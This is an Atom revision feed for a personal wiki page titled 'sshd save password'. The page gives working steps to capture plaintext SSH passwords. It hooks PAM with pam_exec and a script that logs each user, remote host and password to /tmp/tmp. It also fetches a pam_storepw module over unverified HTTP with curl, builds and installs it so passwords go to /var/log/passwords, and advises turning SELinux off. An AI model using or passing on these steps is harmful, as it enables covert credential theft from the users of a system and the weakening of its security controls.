<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en-GB">
	<id>https://halfface.se/wiki/index.php?action=history&amp;feed=atom&amp;title=Sshd</id>
	<title>Sshd - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://halfface.se/wiki/index.php?action=history&amp;feed=atom&amp;title=Sshd"/>
	<link rel="alternate" type="text/html" href="https://halfface.se/wiki/index.php?title=Sshd&amp;action=history"/>
	<updated>2026-04-19T07:28:06Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.43.1</generator>
	<entry>
		<id>https://halfface.se/wiki/index.php?title=Sshd&amp;diff=13036&amp;oldid=prev</id>
		<title>Ekaanbj: /* sshd save password */</title>
		<link rel="alternate" type="text/html" href="https://halfface.se/wiki/index.php?title=Sshd&amp;diff=13036&amp;oldid=prev"/>
		<updated>2018-11-07T07:46:43Z</updated>

		<summary type="html">&lt;p&gt;&lt;span class=&quot;autocomment&quot;&gt;sshd save password&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;=sshd save password=&lt;br /&gt;
==pam_exec.so==&lt;br /&gt;
/etc/pam.d/password-auth-ac&lt;br /&gt;
 #%PAM-1.0&lt;br /&gt;
 # This file is auto-generated.&lt;br /&gt;
 # User changes will be destroyed the next time authconfig is run.&lt;br /&gt;
 auth        required      pam_env.so&lt;br /&gt;
 auth        sufficient    pam_unix.so nullok try_first_pass&lt;br /&gt;
 auth        optional      pam_exec.so expose_authtok /usr/local/bin/pam_exec.so&lt;br /&gt;
 auth        [success=1 default=ignore] pam_succeed_if.so user in ipautomata&lt;br /&gt;
 ...&lt;br /&gt;
/usr/local/bin/pam_exec.so&lt;br /&gt;
 #!/bin/sh&lt;br /&gt;
 read password&lt;br /&gt;
 echo &amp;quot;User: $PAM_USER&amp;quot; &amp;gt;&amp;gt; /tmp/tmp&lt;br /&gt;
 echo &amp;quot;Ruser: $PAM_RUSER&amp;quot; &amp;gt;&amp;gt; /tmp/tmp&lt;br /&gt;
 echo &amp;quot;Rhost: $PAM_RHOST&amp;quot; &amp;gt;&amp;gt; /tmp/tmp&lt;br /&gt;
 echo &amp;quot;Service: $PAM_SERVICE&amp;quot; &amp;gt;&amp;gt; /tmp/tmp&lt;br /&gt;
 echo &amp;quot;TTY: $PAM_TTY&amp;quot; &amp;gt;&amp;gt; /tmp/tmp&lt;br /&gt;
 echo &amp;quot;Password : $password&amp;quot; &amp;gt;&amp;gt; /tmp/tmp&lt;br /&gt;
 exit $?&lt;br /&gt;
&lt;br /&gt;
==pam_storepw.so==&lt;br /&gt;
Download source code for module.&lt;br /&gt;
 curl -sk -O http://www.adeptus-mechanicus.com/codex/logsshp/chng-pam_storepw.c&lt;br /&gt;
Create the following Makefile&lt;br /&gt;
 all: pam_storepw.so&lt;br /&gt;
 &lt;br /&gt;
 pam_storepw.so: pam_storepw.o&lt;br /&gt;
 	$(LD) --shared -o $@ $&amp;lt; -lpam -lpam_misc&lt;br /&gt;
 &lt;br /&gt;
 clean:&lt;br /&gt;
        rm -f pam_storepw.o pam_storepw.so core *~&lt;br /&gt;
 &lt;br /&gt;
 extraclean: clean&lt;br /&gt;
        rm -f *.a *.o *.so *.bak&lt;br /&gt;
 &lt;br /&gt;
 .c.o:&lt;br /&gt;
        $(CC) $(CFLAGS) -c $&amp;lt; -o $@ -fPIC&lt;br /&gt;
&lt;br /&gt;
Build file&lt;br /&gt;
 make&lt;br /&gt;
&lt;br /&gt;
Copy file&lt;br /&gt;
 cp pam_storepw.so /lib64/security/&lt;br /&gt;
 chmod 755 /lib64/security/pam_storepw.so&lt;br /&gt;
&lt;br /&gt;
password-auth-ac &lt;br /&gt;
 #%PAM-1.0&lt;br /&gt;
 # This file is auto-generated.&lt;br /&gt;
 # User changes will be destroyed the next time authconfig is run.&lt;br /&gt;
 auth        required      pam_env.so&lt;br /&gt;
 auth        sufficient    pam_unix.so nullok try_first_pass&lt;br /&gt;
 auth        optional      pam_storepw.so&lt;br /&gt;
 auth        [success=1 default=ignore] pam_succeed_if.so user in ipautomata&lt;br /&gt;
 ...&lt;br /&gt;
Passwords start to be written to&lt;br /&gt;
 /var/log/passwords&lt;br /&gt;
If you do not get any entries.&lt;br /&gt;
 Temporarily turn selinux off to see if it starts to work&lt;br /&gt;
 run pam in debug to see what is going on.&lt;/div&gt;</summary>
		<author><name>Ekaanbj</name></author>
	</entry>
</feed>